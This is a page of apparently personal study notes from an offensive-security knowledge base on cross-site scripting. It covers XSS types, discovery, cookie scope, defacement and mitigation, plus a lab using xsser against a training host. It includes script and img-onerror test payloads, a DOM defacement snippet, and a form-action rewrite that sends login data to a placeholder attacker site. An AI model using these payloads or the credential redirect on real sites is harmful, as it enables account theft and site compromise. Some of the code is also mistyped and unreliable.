offsecvault - Knowledge Base



 ▒█████    █████▒ █████▒ ██████ ▓█████  ▄████▄ ██▒   █▓ ▄▄▄       █    ██  ██▓  ▄▄▄█████▓
▒██▒  ██▒▓██   ▒▓██   ▒▒██    ▒ ▓█   ▀ ▒██▀ ▀█▓██░   █▒▒████▄     ██  ▓██▒▓██▒  ▓  ██▒ ▓▒
▒██░  ██▒▒████ ░▒████ ░░ ▓██▄   ▒███   ▒▓█    ▄▓██  █▒░▒██  ▀█▄  ▓██  ▒██░▒██░  ▒ ▓██░ ▒░
▒██   ██░░▓█▒  ░░▓█▒  ░  ▒   ██▒▒▓█  ▄ ▒▓▓▄ ▄██▒▒██ █░░░██▄▄▄▄██ ▓▓█  ░██░▒██░  ░ ▓██▓ ░ 
░ ████▓▒░░▒█░   ░▒█░   ▒██████▒▒░▒████▒▒ ▓███▀ ░ ▒▀█░   ▓█   ▓██▒▒▒█████▓ ░██████▒▒██▒ ░ 
░ ▒░▒░▒░  ▒ ░    ▒ ░   ▒ ▒▓▒ ▒ ░░░ ▒░ ░░ ░▒ ▒  ░ ░ ▐░   ▒▒   ▓▒█░░▒▓▒ ▒ ▒ ░ ▒░▓  ░▒ ░░   
  ░ ▒ ▒░  ░      ░     ░ ░▒  ░ ░ ░ ░  ░  ░  ▒    ░ ░░    ▒   ▒▒ ░░░▒░ ░ ░ ░ ░ ▒  ░  ░    
░ ░ ░ ▒   ░ ░    ░ ░   ░  ░  ░     ░   ░           ░░    ░   ▒    ░░░ ░ ░   ░ ░   ░      
    ░ ░                      ░     ░  ░░ ░          ░        ░  ░   ░         ░  ░       
                                       ░           ░

    OFFENSIVE |
    DEFENSIVE |
    CTF |
    TOOLS |
    ABOUT 

 04.cross site scripting  

>>> portswigger: 

https://portswigger.net/web-security/cross-site-scripting

classic XSS test

-> 

XSS possible attacks

-cookie stealing
-complete control over a browser
-initiating an explotation phase against browser plugins and then the machine
-perform keylogging 

******

when stealing a cookie, the goal is to find the vulnerability associated to the assigned to the
cookie founded. 
-when a vuln is founded, it is time to create a link or image with the specific payload to send it to the user 
so the user can click on this and exploit the vulnerability. 

>> 3 types of XSS

-reflected: occurs when untrusted user data is sent to web app and it is inmediately echoed back as the untrusted content.
... PROCESS
.victims bring the payload in their HTTP request to the vulnerable site, the payload will be inserted into the web page 
and executed in the browser. 

-> victim click the link >> request sent to the server >> response back to the client with the payload info >> execution on client side.

-stored or persistent: similar to reflected XSS, however, it does not reflect into the response, it is stored within the application.

are attacks that lead to the execution of code in all the user's web browsers visiting a vulnerable (and exploited) site.

-DOM XSS: simply put, it only exist on client side code. lives in the DOM environment, it does nor reach the server side code. 
the goal is that the client side script code can access the browsers DOM thus all the information available in it. 

::: FINDING XSS

.1 find all correlations between input > output, so if what the user is reflected any where on the site.
.2 try to inject js or html code into the previous defined targets [GET/POST - HTTP HEADERS - COOKIE VARIABLES]

NOTE: one way to test is to add the HTML parameter  to the input, so if the XSS attack is present you will see
a page under construction. it does not mean you can execute script, however the XSS possibility is present. 
all tags after the plaintext is inserted will be threated as plaintext. 

potential objectives:
-cookie stealing

sample: 

.offsecvault.com | it will be open to any subdomain of offsecvault.com, Eg. foo.offsecvault.com , red.offsecvault.com and more.
the * is used like a wildcard. 

.www.sadgo.com | again it will be applied for all subdomains of www.sadgo.com. 

NOTE: when a cookie is issued with the parameter path=/ it is valid for all the directories of the domains it
applies. path can limit the attack surface to an only subdirectory Eg. path=/cars/, so it is limited to "cars" folder or subfolders.
without the final slash Eg. path=/cars will be like a wildcard for this cars folder, /carswash | /carsdm | cars* & more.
the same path will apply to all subdomains or domains associated. 

httponly flag prevents javascript to read the content of the cookie file. (however exist a workaround)

"secure cookies" - these cookies are sent only if https (SSL) is used in the request

-defacement
-phishing/malware
-XSS worms

>>>>

.domain 
.path
.expiration 

these atributes are needed to define if it is needed to set a cookie or not for a request. 

SOP prevents cookie stealing.

---DEFACEMENT

.an XSS can achive the defacement.
.to become a real defacement is needed a persistent XSS
.with a persistent XSS we are able to change the appearance of the web page manipulating the DOM.
.the DOM object corresponds to the BODY tag that holds the page content. 

_typical DOM manipulation is useful at modyfing the page appareance like this:
>> document.body,innerHTML="<h1>DEFACED</>";

basic way to perform an XSS phishing into a login page is to alter the ACTION parameter of the FORM tag.
sample: 
form name="loginform" method="POST" action="/checklogin.cgi"
attack: the change performed is only applied to the action parameter performing a redirection to the site. 
form name="loginform" method="POST" action="document.forms[0].action="https://hackersite.com/steal.php";

> MITIGATION

it is about to implement two layers: 
-input validation: filter as much as possible the attacks vectors
-context-aware output encoding 

it is good to implement XSS filtering by using a vetted library or a platform function.  

> XSS LAB

>>> REFLECTED XSS EXPLOITATION

xsser tool usage

xsser is a tool used to check for XSS in an URL.  to run the tool against the site use the following command,

xsser --url 'URL' -p 'PARAMETERS'

to accomplish this, you will need to use burpsuite to intercept the url and parameters.

sample complete command:

xsser --url 'http://demo.ine.local/index.php?page=dns-lookup.php' -p 'target_host=XSS&dns-lookup-php-submit-button=Lookup+DNS'

to perform an automatic test, we can add the --auto and it will retrieve all the results about possible XSS vectors.

to inject a custom XSS payload you can use the flag: --Fp, it means FINALPAYLOAD
the following example will add a simple javascript 

xsser --url 'http://demo.ine.local/index.php?page=dns-lookup.php' -p 'target_host=XSS&dns-lookup-php-submit-button=Lookup+DNS' --Fp "<script>alert(1)</script>"

...performing XSS reflected using another payload:

<img src onerror="alert(1)" />

<iframe src="javascript:alert('XSS')"> 

NOTE: always is good to inspect the code to see if the DOM was modified and we can find the new tags we are trying to execute. 

>>> STORED XSS EXPLOITATION

basically the option will be similar to a post, or something that will be in place on the site.

one way to test: Hello <b>World!</b>

if it is reflected the word "World" on negrita, the HTML injection was successfull. 

another way to test: <script>alert(1234);</script>

another way to test: <img src onerror="alert(1337)" />

NOTE: always is good to inspect the code to see if the DOM was modified and we can find the new tags we are trying to execute. 

>>> DOM XSS EXPLOITATION

-locate vulnerability in the webpage

if it si DOM-based XSS, there must be some exploitable javascript sinks, like: innerHTML, eval, Function and more. Some that receive the user input and render it, will be an injection issue.

javascript inserted as DOM text/tags will not execute. so in order to exploit the same, it will be needed to use the "img" tag. 
													
</center>
</body>
</html>